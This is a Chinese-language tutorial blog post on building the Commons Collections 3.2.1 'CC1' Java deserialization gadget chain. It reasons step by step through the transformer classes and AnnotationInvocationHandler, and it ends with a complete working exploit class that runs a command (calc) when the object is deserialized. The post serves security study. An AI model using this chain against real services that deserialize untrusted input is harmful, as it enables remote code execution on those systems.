Java反序列化之CC1

什么是CC链

CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。

CC1

https://www.bilibili.com/video/BV1no4y1U7E1?t=690.4

java版本:8u65
既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1

依赖:

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

分析

起点:CC下的Transformer。

快捷键

我们使用ctrl + alt + b 查看实现的类。
image.png
其中我们要用的是InvokerTransformer中的transform。
image.png
能注意到有任意代码执行的反射调用。
但在此之前我们要知道,任意命令执行,我们应该在哪里执行命令:
image.png

1
Runtime.getRuntime().exec("calc");

有了这个,我们再改成反射调用的格式。
注意:打出Runtime.getRuntime();点击alt+enter就可以自动补全。
改成普通反射的写法:

1
2
3
4
5
// * 改成反射
Runtime runtime = Runtime.getRuntime();
Class aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

image.png
image.png
然后按照InvokerTransformer实例化和transform执行的所需参数填入内容(重新实现这个反射):

1
2
3
// * 改成所需的语句格式
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

然后我们需要找到如何才能调用这里,快捷键ctrl + shift + alt + F7查询方法
image.png
image.png
通过这种方式来找到所需要的上一个方法。
最后找到TransformedMap中的decorate方法来赋值。
image.png
想实现这个函数,查看其实例化方法。
image.png
并有其赋值decorate方法:
image.png
就是说要让其中的valueTransformer是执行的transfrom的InvokerTransformer。
于是可以编写出代码:

1
2
3
4
5
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// * 往回找,直到能readObject
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// * keyTransformer没用
TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);

这样写就可以调用transform方法。
然后再找如何能调用checkSetValue方法,查找之后发现只有一处AbstractInputCheckedMapDecorator:
image.png
可以发现这个类是TransformedMap类的父类,其中的MapEntry的setValue调用了这个方法。
而遍历Map的一种写法是:

1
2
3
for (Map.Entry entry : objectObjectHashMap.entrySet()) {
entry.setValue();
}

这样就能调用到其中的setValue方法。
其中setValue中传入runtime参数即可运行。
然后就是继续找,如果有readObject下的调用就直接使用。
找到AnnotationInvocationHandler的readObject方法下setValue方法。
image.png
但由于实例化方法不是public,因此只能在包内调用,也就是说只能用反射来调用。

1
2
3
4
5
6
7
8
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// * 获取构造器
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object object = declaredConstructor.newInstance(Override.class, decorate);

serialize(object);
deserialize("ser.bin");

最后再加上序列化和反序列化:

1
2
3
4
5
6
7
8
9
10
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

但还有问题,第一个是setValue的那个传入值是不可以控制的,第二个则是Runtime是不可以被序列化的。

第一个问题

先解决如何使用Runtime。
虽然,runtime不可以被序列化,但是它的class可以,于是可以写出:

1
2
3
4
5
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

然后改成InvokeTransformer的版本:

1
2
3
4
// * 将格式改为InvokeTransformer
Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

可以使用chainedTransformer简化:

1
2
3
4
5
6
7
// * 可以使用chainedTransformer来简化,递归调用
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第二个问题

然后就需要断点调试。
给AnnotationInvocationHandler这里打上断点。看看是否能进去。
image.png
我们可以注意到,由于memberType是空我们无法进入:
image.png
我们需要找到一个有成员方法的class。key改为名字
image.png
这里没有key这个参数,target中有value这个参数。
image.png
我们改成value试一试,然后将注释改为target。
image.png
再次断点。
image.png
但是无法修改最后的value的值,可以使用其中的ConstantTransformer来。
image.png
也就是在这里加一个让他在Runtime.class中。
image.png
ConstantTransformer被传入什么,transform之后就会返回什么。

最后终于可以成功执行了。QWQ
image.png
完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package fun.natro92;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}

public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws Exception {
// Runtime.getRuntime().exec("calc");
// * 改成反射
// Runtime runtime = Runtime.getRuntime();
// Class aClass = runtime.getClass();
// Method exec = aClass.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// * 改成所需的语句格式
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// // * Runtime不可序列化,改为class
// Class<Runtime> runtimeClass = Runtime.class;
// Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntime.invoke(null, null);
// Method exec = runtimeClass.getMethod("exec", String.class);
// exec.invoke(runtime, "calc");
// // * 将格式改为InvokeTransformer
// Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
// * 可以使用chainedTransformer来简化,递归调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// * 往回找,直到能readObject
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value", "value");
// * keyTransformer没用
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
// for (Map.Entry entry:decorate.entrySet()){
// entry.setValue(runtime);
// }
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// * 获取构造器
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object object = declaredConstructor.newInstance(Target.class, decorate);

serialize(object);
deserialize("ser.bin");
}
}